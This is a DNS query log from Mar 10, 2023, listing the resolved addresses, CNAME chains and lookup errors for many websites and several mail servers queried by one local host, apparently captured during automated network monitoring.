Mar 10, 2023 07:54:55.977299929 CET	8.8.8.8	192.168.2.6	0x9dff	No error (0)	www.ora-ito.com		213.186.33.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.977998018 CET	8.8.8.8	192.168.2.6	0x3faf	No error (0)	www.lrsuk.com	language-recruitment.eu-2.volcanic.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:55.977998018 CET	8.8.8.8	192.168.2.6	0x3faf	No error (0)	language-recruitment.eu-2.volcanic.cloud	d2kt7vovxa5e81.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:55.977998018 CET	8.8.8.8	192.168.2.6	0x3faf	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.977998018 CET	8.8.8.8	192.168.2.6	0x3faf	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.2	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.977998018 CET	8.8.8.8	192.168.2.6	0x3faf	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.97	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:55.977998018 CET	8.8.8.8	192.168.2.6	0x3faf	No error (0)	d2kt7vovxa5e81.cloudfront.net		143.204.9.43	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.764617920 CET	8.8.8.8	192.168.2.6	0xf56e	No error (0)	www.domon.com	meubles-domon.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:56.764617920 CET	8.8.8.8	192.168.2.6	0xf56e	No error (0)	meubles-domon.myshopify.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:56.764617920 CET	8.8.8.8	192.168.2.6	0xf56e	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.800234079 CET	8.8.8.8	192.168.2.6	0x72ae	No error (0)	www.dayvo.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:56.800234079 CET	8.8.8.8	192.168.2.6	0x72ae	No error (0)	www.dayvo.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.035895109 CET	8.8.8.8	192.168.2.6	0x7670	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.182801962 CET	8.8.8.8	192.168.2.6	0x7a88	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:57.182801962 CET	8.8.8.8	192.168.2.6	0x7a88	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.182801962 CET	8.8.8.8	192.168.2.6	0x7a88	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.84	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.182801962 CET	8.8.8.8	192.168.2.6	0x7a88	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.182801962 CET	8.8.8.8	192.168.2.6	0x7a88	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.367845058 CET	8.8.8.8	192.168.2.6	0x86b0	No error (0)	www.stajum.com		103.3.1.161	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.454700947 CET	8.8.8.8	192.168.2.6	0xd7a1	No error (0)	www.pwd.org	pwd.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:57.454700947 CET	8.8.8.8	192.168.2.6	0xd7a1	No error (0)	pwd.org		208.109.214.162	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.483715057 CET	8.8.8.8	192.168.2.6	0x58df	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.649022102 CET	8.8.8.8	192.168.2.6	0x54d3	No error (0)	www.pupi.cz		103.224.182.241	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:57.774034023 CET	8.8.8.8	192.168.2.6	0x133a	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:58.922768116 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:58.922768116 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:58.922768116 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:58.922768116 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:58.922768116 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.0.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:58.941283941 CET	8.8.8.8	192.168.2.6	0x7c4b	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:58.941283941 CET	8.8.8.8	192.168.2.6	0x7c4b	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:58.941283941 CET	8.8.8.8	192.168.2.6	0x7c4b	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:59.052504063 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.052504063 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.052504063 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.052504063 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.052504063 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.3.56	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:59.081161976 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	www.nqks.com	live.websites.hibu.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.081161976 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	live.websites.hibu.com	hibu-4.zenedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.081161976 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	hibu-4.zenedge.net	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.081161976 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	zemonitor-websites-hibu-com.c.inregion.waas.oci.oraclecloud.net	hibu34.inregion.waas.oci.oraclecloud.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.081161976 CET	8.8.8.8	192.168.2.6	0xa152	No error (0)	hibu34.inregion.waas.oci.oraclecloud.net		147.154.3.56	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:59.289633989 CET	8.8.8.8	192.168.2.6	0x6145	No error (0)	www.myropcb.com		74.208.215.199	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:59.490566015 CET	8.8.8.8	192.168.2.6	0xcad5	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:59.490566015 CET	8.8.8.8	192.168.2.6	0xcad5	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:00.417896032 CET	8.8.8.8	192.168.2.6	0xb27e	No error (0)	www.yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:00.906528950 CET	8.8.8.8	192.168.2.6	0x66ce	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:01.231668949 CET	8.8.8.8	192.168.2.6	0xf05	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:02.495039940 CET	8.8.8.8	192.168.2.6	0x62be	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:02.495039940 CET	8.8.8.8	192.168.2.6	0x62be	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:02.495039940 CET	8.8.8.8	192.168.2.6	0x62be	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		52.200.100.0	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:02.495039940 CET	8.8.8.8	192.168.2.6	0x62be	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.237.200.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:03.826936007 CET	8.8.8.8	192.168.2.6	0xade1	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:04.956274033 CET	8.8.8.8	192.168.2.6	0x4590	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:04.956274033 CET	8.8.8.8	192.168.2.6	0x4590	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:05.081479073 CET	8.8.8.8	192.168.2.6	0xa4ea	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:05.436078072 CET	8.8.8.8	192.168.2.6	0x8ead	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:05.436078072 CET	8.8.8.8	192.168.2.6	0x8ead	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:05.882019043 CET	8.8.8.8	192.168.2.6	0x49c7	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:06.333549023 CET	8.8.8.8	192.168.2.6	0x1d54	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:06.341634035 CET	8.8.8.8	192.168.2.6	0x44a4	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:07.237910986 CET	8.8.8.8	192.168.2.6	0x2d80	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:07.237910986 CET	8.8.8.8	192.168.2.6	0x2d80	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:08.410984039 CET	8.8.8.8	192.168.2.6	0x2b54	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.614378929 CET	8.8.8.8	192.168.2.6	0xd15b	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:10.614378929 CET	8.8.8.8	192.168.2.6	0xd15b	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.84	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.614378929 CET	8.8.8.8	192.168.2.6	0xd15b	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.49	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.614378929 CET	8.8.8.8	192.168.2.6	0xd15b	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.27	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.614378929 CET	8.8.8.8	192.168.2.6	0xd15b	No error (0)	d2r2uj0bnofxxz.cloudfront.net		143.204.9.92	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:10.769985914 CET	8.8.8.8	192.168.2.6	0x556d	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.041577101 CET	8.8.8.8	192.168.2.6	0x1e5f	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:11.120851040 CET	8.8.8.8	192.168.2.6	0xcc5	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.513273954 CET	8.8.8.8	192.168.2.6	0x4dc4	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:11.513273954 CET	8.8.8.8	192.168.2.6	0x4dc4	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.573172092 CET	8.8.8.8	192.168.2.6	0x5626	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.744540930 CET	8.8.8.8	192.168.2.6	0xb41	No error (0)	www.tc17.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:11.744540930 CET	8.8.8.8	192.168.2.6	0xb41	No error (0)	www.tc17.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.062362909 CET	8.8.8.8	192.168.2.6	0xc750	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.328068018 CET	8.8.8.8	192.168.2.6	0x7a0e	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.328068018 CET	8.8.8.8	192.168.2.6	0x7a0e	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.349879026 CET	8.8.8.8	192.168.2.6	0xee3	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.349879026 CET	8.8.8.8	192.168.2.6	0xee3	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.349879026 CET	8.8.8.8	192.168.2.6	0xee3	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.477822065 CET	8.8.8.8	192.168.2.6	0xb059	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:12.477822065 CET	8.8.8.8	192.168.2.6	0xb059	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:12.674226999 CET	8.8.8.8	192.168.2.6	0x4d5c	No error (0)	www.railbook.net		81.171.22.7	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:13.017081976 CET	8.8.8.8	192.168.2.6	0xefc2	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:13.017081976 CET	8.8.8.8	192.168.2.6	0xefc2	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:13.424233913 CET	8.8.8.8	192.168.2.6	0x602f	No error (0)	www.maktraxx.com	maktraxx.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:13.424233913 CET	8.8.8.8	192.168.2.6	0x602f	No error (0)	maktraxx.com		72.44.93.236	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.062707901 CET	8.8.8.8	192.168.2.6	0xb5d1	No error (0)	www.cel-cpa.com		104.196.26.65	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.206276894 CET	8.8.8.8	192.168.2.6	0x7440	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.653677940 CET	8.8.8.8	192.168.2.6	0x3875	No error (0)	mail.protonmail.ch		176.119.200.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.653677940 CET	8.8.8.8	192.168.2.6	0x3875	No error (0)	mail.protonmail.ch		185.205.70.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.653677940 CET	8.8.8.8	192.168.2.6	0x3875	No error (0)	mail.protonmail.ch		185.70.42.128	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:14.986044884 CET	8.8.8.8	192.168.2.6	0x4718	No error (0)	www.fe-bauer.de		3.65.101.129	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:15.287229061 CET	8.8.8.8	192.168.2.6	0xece9	No error (0)	www.vitaindu.com		122.128.109.107	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:15.351099968 CET	8.8.8.8	192.168.2.6	0xe017	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:15.869256973 CET	8.8.8.8	192.168.2.6	0xb65a	No error (0)	www.valselit.com		193.70.68.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:16.993552923 CET	8.8.8.8	192.168.2.6	0x4df2	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:17.112721920 CET	8.8.8.8	192.168.2.6	0xff88	No error (0)	www.2print.com	2print.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:17.112721920 CET	8.8.8.8	192.168.2.6	0xff88	No error (0)	2print.com		107.180.98.101	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:17.571604967 CET	8.8.8.8	192.168.2.6	0xe8fe	No error (0)	www.x0c.com		185.53.177.50	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:17.963967085 CET	8.8.8.8	192.168.2.6	0x1390	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.323237896 CET	8.8.8.8	192.168.2.6	0x6833	Name error (3)	www.yumgiskor.kz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.509289980 CET	8.8.8.8	192.168.2.6	0x5ed3	No error (0)	www.tc17.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.509289980 CET	8.8.8.8	192.168.2.6	0x5ed3	No error (0)	www.tc17.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.542738914 CET	8.8.8.8	192.168.2.6	0xff8a	No error (0)	smtp.mail.yahoo.com	smtp.mail.global.gm0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:18.542738914 CET	8.8.8.8	192.168.2.6	0xff8a	No error (0)	smtp.mail.global.gm0.yahoodns.net		87.248.97.36	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:18.684699059 CET	8.8.8.8	192.168.2.6	0x6de0	No error (0)	www.ottospm.com	www.ottospm.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:18.690783978 CET	8.8.8.8	192.168.2.6	0x6dd9	No error (0)	www.tyrns.com		62.75.216.137	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.739331961 CET	8.8.8.8	192.168.2.6	0xf603	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:19.739331961 CET	8.8.8.8	192.168.2.6	0xf603	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.743055105 CET	8.8.8.8	192.168.2.6	0xc6fd	No error (0)	smtp.live.com	a-0010.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:19.747908115 CET	8.8.8.8	192.168.2.6	0x10ad	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.763844967 CET	8.8.8.8	192.168.2.6	0xf45d	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:19.951905966 CET	8.8.8.8	192.168.2.6	0x8a1e	No error (0)	www.spanesi.com		5.196.166.214	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:22.572874069 CET	8.8.8.8	192.168.2.6	0xf240	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:22.572874069 CET	8.8.8.8	192.168.2.6	0xf240	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:22.572874069 CET	8.8.8.8	192.168.2.6	0xf240	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		52.200.100.0	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:22.572874069 CET	8.8.8.8	192.168.2.6	0xf240	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.237.200.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:25.105918884 CET	8.8.8.8	192.168.2.6	0xf6f6	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:25.293802977 CET	8.8.8.8	192.168.2.6	0x74ec	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:25.293802977 CET	8.8.8.8	192.168.2.6	0x74ec	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:25.710978985 CET	8.8.8.8	192.168.2.6	0x5ebe	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.407094955 CET	8.8.8.8	192.168.2.6	0x322e	No error (0)	www.tc17.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.407094955 CET	8.8.8.8	192.168.2.6	0x322e	No error (0)	www.tc17.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.416642904 CET	8.8.8.8	192.168.2.6	0x2166	No error (0)	www.railbook.net		5.79.79.212	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:26.984632015 CET	8.8.8.8	192.168.2.6	0x27ed	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:27.590564013 CET	8.8.8.8	192.168.2.6	0xa129	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:27.842571974 CET	8.8.8.8	192.168.2.6	0x7c67	No error (0)	www.pb-games.com	pb-games.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:27.842571974 CET	8.8.8.8	192.168.2.6	0x7c67	No error (0)	pb-games.com		173.254.28.29	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:28.865269899 CET	8.8.8.8	192.168.2.6	0x47c8	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:29.184108973 CET	8.8.8.8	192.168.2.6	0x8241	No error (0)	www.sclover3.com		157.112.182.239	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:30.582881927 CET	8.8.8.8	192.168.2.6	0xbc54	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:30.881561041 CET	8.8.8.8	192.168.2.6	0xb0d3	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:31.720525980 CET	8.8.8.8	192.168.2.6	0xe1dd	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:31.720525980 CET	8.8.8.8	192.168.2.6	0xe1dd	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:31.735342979 CET	8.8.8.8	192.168.2.6	0xe24	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:31.749250889 CET	8.8.8.8	192.168.2.6	0x2d3d	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:32.952732086 CET	8.8.8.8	192.168.2.6	0x57a5	Name error (3)	www.medisa.info	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:33.060213089 CET	8.8.8.8	192.168.2.6	0xd7e9	No error (0)	smtp.sbcglobal.yahoo.com	smtp-sbc.mail.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:33.060213089 CET	8.8.8.8	192.168.2.6	0xd7e9	No error (0)	smtp-sbc.mail.yahoo.com	smtp1.sbc.mail.am0.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:33.060213089 CET	8.8.8.8	192.168.2.6	0xd7e9	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.163.170.48	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:33.060213089 CET	8.8.8.8	192.168.2.6	0xd7e9	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		67.195.12.38	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:33.060213089 CET	8.8.8.8	192.168.2.6	0xd7e9	No error (0)	smtp1.sbc.mail.am0.yahoodns.net		66.218.88.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:33.403033018 CET	8.8.8.8	192.168.2.6	0x5ec1	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:34.442559004 CET	8.8.8.8	192.168.2.6	0xc67d	No error (0)	www.fnsds.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:34.442559004 CET	8.8.8.8	192.168.2.6	0xc67d	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:34.442559004 CET	8.8.8.8	192.168.2.6	0xc67d	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		52.200.100.0	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:34.442559004 CET	8.8.8.8	192.168.2.6	0xc67d	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.237.200.184	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.425471067 CET	8.8.8.8	192.168.2.6	0x20f0	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.553776026 CET	8.8.8.8	192.168.2.6	0x2d0f	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:35.683845997 CET	8.8.8.8	192.168.2.6	0xb78b	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:36.106970072 CET	8.8.8.8	192.168.2.6	0xcfe2	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:36.304608107 CET	8.8.8.8	192.168.2.6	0xac1d	No error (0)	www.pohlfood.com	pohlfood.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:36.304608107 CET	8.8.8.8	192.168.2.6	0xac1d	No error (0)	pohlfood.com		104.218.10.254	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:36.712374926 CET	8.8.8.8	192.168.2.6	0xd2c4	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:55:36.712374926 CET	8.8.8.8	192.168.2.6	0xd2c4	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:37.819947958 CET	8.8.8.8	192.168.2.6	0x55ed	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.523485899 CET	8.8.8.8	192.168.2.6	0x22e3	No error (0)	www.11tochi.net		157.112.176.4	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.647434950 CET	8.8.8.8	192.168.2.6	0xd181	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:55:38.685566902 CET	8.8.8.8	192.168.2.6	0xfda2	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
